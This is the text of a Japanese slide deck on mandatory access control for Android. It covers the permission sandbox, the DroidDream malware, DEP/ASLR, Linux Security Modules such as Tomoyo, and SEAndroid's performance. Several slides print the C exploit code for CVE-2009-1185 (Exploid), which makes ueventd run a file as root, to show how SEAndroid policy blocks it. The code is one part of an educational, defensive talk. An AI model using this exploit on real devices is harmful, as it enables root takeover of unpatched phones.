Recommended
More Related Content
What's hot
What's hot (20)
Viewers also liked
Viewers also liked (16)
Similar to Androidにおける強制アクセス制御
Similar to Androidにおける強制アクセス制御 (20)
More from Hiromu Yakura
More from Hiromu Yakura (14)
Androidにおける強制アクセス制御
- 7. Androidの台数推移 Androidのアクティベーション台数 http://www.asymco.com/2011/12/21/how-many-android-phones-have-been-activated/
- 8. マルウェアは かる？ Android = スマートフォン スマートフォンには個人情報がいっぱい アカウント情報 電話帳
- 10. よくある手法 携帯キャリアから請求書がきて ＿人人人人人人＿ ＞ 突然の死 ＜ ￣^Y^Y^Y^Y^￣
- 12. アーキテクチャ
- 13. アーキテクチャ
- 15. アーキテクチャ
- 16. アーキテクチャ アプリケーションフレームワーク Androidが用意しているAPIなど Location Manager 位置情報を取得するのに必要
- 17. アーキテクチャ
- 18. アーキテクチャ Dalvic VM Android向けJava Virtual Machine dex形式のクラスファイルを使用
- 19. アーキテクチャ
- 21. アーキテクチャ
- 24. サンドボックス AppID 1 AppID 2 パーミッション パーミッション SMS Internet 電話帳 GPS Android OS
- 25. サンドボックス AppID 1 AppID 2 パーミッション パーミッション SMS Internet 電話帳 GPS Android OS
- 30. 実例 実際にroot権限を奪取するマルウェア DroidDream Androidで一番最初に発見された ”削除できない”マルウェア
- 31. DroidDream 2011年3月に発見されたマルウェア 脆弱性を利用してroot権限を奪取 ユーザーが削除できない領域に 別のマルウェアをインストール
- 32. DroidDream Android Marketでも配布されていたことが 判明し，騒ぎに 既存アプリケーションにマルウェアを 突っ込んで再パッケージしたものなど
- 33. DroidDream DroidDreamは2種類の脆弱性を利用 CVE-2010-EASY(rageageinstthecage)で 始めに試行 失敗すればCVE-2009-1185で試行
- 39. アンチウイルス アンチウイルスはSandboxの中で動作する 他のアプリケーションのリソースに アクセスできない 他のプロセスに干渉することができない
- 42. アンチウイルス Androidのアンチウイルスソフトはあまり あてにならない べ，べつにセキュリティ会社をdisってる わけじゃないんだからね Androidアーキテクチャ上，仕方がない
- 44. ソフトウェアの更新 Androidの脆弱性対策が非常に遅いのも 大きな問題の一つ 2011年6月にIPAがレポートを出す DroidDreamで使用されている 脆弱性への対応状況について
- 53. DEP メモリ コード スタック ここに脆弱性がある データ
- 54. DEP メモリ コード スタック 任意のコードを 突っ込める データ
- 55. DEP メモリ コード スタックを書き換えて スタック 先ほどのコードを 呼び出し データ
- 56. DEP メモリ コード DEPがあるので スタック データ領域にあるコードは 実行されない データ
- 60. ASLR Android 4.0でやっと有効に ただ，実装がひどかったので 実質使えるのはAndroid 4.0.1以降 iOSでは4.3以降で使える
- 62. LSM Linux Security Moduleの利用 Androidをもっと堅牢化する仕組み カーネルに組み込んで使用
- 64. LSM Linuxサーバーなどで既に利用されている System Callなどが管理者の定めた ポリシーに則っているかをチェックする その仕組みをAndroidでも利用
- 65. Deckard / Miyabi Sharpが開発したAndroid向けLSM システムパーティションへの 書き込み制限 デバッグ機能の禁止 IS01などで使われている
- 66. Tomoyo on Android Tomoyo Linux LSMの1つでカードキャプターさくらが 名前の由来 ポリシーを簡単に記述できるのが利点
- 67. Tomoyo on Android Tomoyo on AndroidはTomoyo Linuxを Android向けに移植したもの 富士通のP-04Dにはすでに搭載されている
- 70. LSMでできること 細かい権限設定 Permissionモデルよりポリシーを使って 管理者が細かく権限を設定できる Androidではベンダーがインストールした ポリシーはrootでも変更不能にできる
- 73. SEAndroidの有効事例 Exploidを使用してroot権限を奪取 CVE-2009-1185のExploit ueventdの脆弱性 netlinkメッセージの部分に脆弱性
- 74. SEAndroidの有効事例 ueventdとは root権限で動作しているシステムプロセ ス /dev以下の管理を行なっている Linuxでいうudevのようなもの
- 75. SEAndroidの有効事例 Exploitコード int main(int argc, char **argv) { int sock; char *mp; char message[4096]; struct msghdr msg; struct iovec iovector; struct sockaddr_nl address; memset(&address, 0, sizeof(address)); address.nl_familyatoi(argv[1]); address.nl_pid = = AF_NETLINK; address.nl_groups (void*)&address; msg.msg_name = = 0; msg.msg_namelen = sizeof(address); msg.msg_iov = &iovector; msg.msg_iovlen = 1; sock = socket(AF_NETLINK, *) &address, sizeof(address)); bind(sock, (struct sockaddr SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); mp = message; mp += sprintf(mp, "SUBSYSTEM=block") ++ 1; mp += sprintf(mp, "DEVPATH=/dev/foo") 1; mp += sprintf(mp, "ACTION=remove") +1; mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1; iovector.iov_base = (void*)message; iovector.iov_len&msg, 0); sendmsg(sock, = (int)(mp-message); close(sock); return 0; }
- 76. SEAndroidの有効事例 Exploitコード struct sockaddr_nl address; memset(&address, 0, sizeof(address)); address.nl_family = AF_NETLINK; address.nl_pid = atoi(argv[1]); address.nl_groups = 0; struct msghdr msg; msg.msg_name = (void*)&address; msg.msg_namelen = sizeof(address); msg.msg_iov = &iovector; msg.msg_iovlen = 1;
- 77. SEAndroidの有効事例 Exploitコード sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); bind(sock, (struct sockaddr *) &address, sizeof(address)); mp = message; mp += sprintf(mp, "SUBSYSTEM=block") + 1; mp += sprintf(mp, "DEVPATH=/dev/foo") + 1; mp += sprintf(mp, "ACTION=remove") +1; mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1; iovector.iov_base = (void*)message; iovector.iov_len = (int)(mp-message); sendmsg(sock, &msg, 0); close(sock);
- 78. SEAndroidの有効事例 AF_NETLINKにソケット通信 カーネルとユーザーランドの通信用のソケット NETLINK_KOBJECT_UEVENT ユーザーランドへのカーネルからの通信
- 79. SEAndroidの有効事例 SUBSYSTEM=BLOCK, DEVPATH=/dev/foo, ACTION=REMOVE, REMOVE_CMD=/tmp/run /dev/fooというブロックデバイスが取り外 された トリガーとして/tmp/runを実行
- 80. SEAndroidの有効事例 ueventdはソケット通信を受け取る /tmp/runを実行する ueventdが通送り元を識別していないのが問題 ユーザーランドからでも実行してしまう root権限として実行
- 81. SEAndroidの有効事例 SEAndroidはどう作用するのか アプリケーションからはNetlinkへ ソケット通信できない ueventdは/proc/sys/kernel/hotplugへ書き 込めない ポリシーで制限されている
- 84. SEAndroidの実用性 Galaxy Nexus 平均: 2574 Galaxy Nexus (SEAndroid): 2057 Android 4.0の時より10%程度改善
- 85. SEAndroidの実用性 Normal SEAndroid CPU: 5661 CPU: 5558 Memory: 1804 Memory: 1756 I/O: 3533 I/O: 1658 2D: 346 2D: 269 3D: 1526 3D: 1024
- 86. SEAndroidの実用性 I/Oが重い SEAndroidはファイルのラベル情報を 保存するためにファイルシステムに 独自実装を加えている それがくっそ重いらしい
- 88. SEAndroidの実用性 SEAndroid使えない？ 実際に商用利用できるレベルではない 落ちる問題に関しては，ポリシーを 緩くするとある程度はマシになるはず
- 91. SEAndroidの今後 どっちにしろAndroidには強制アクセス 制御の利用が必要なはず 数年のうちにデフォルトになっていると 嬉しい Androidのセキュリティも マシになるはず
Editor's Notes
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n
- \n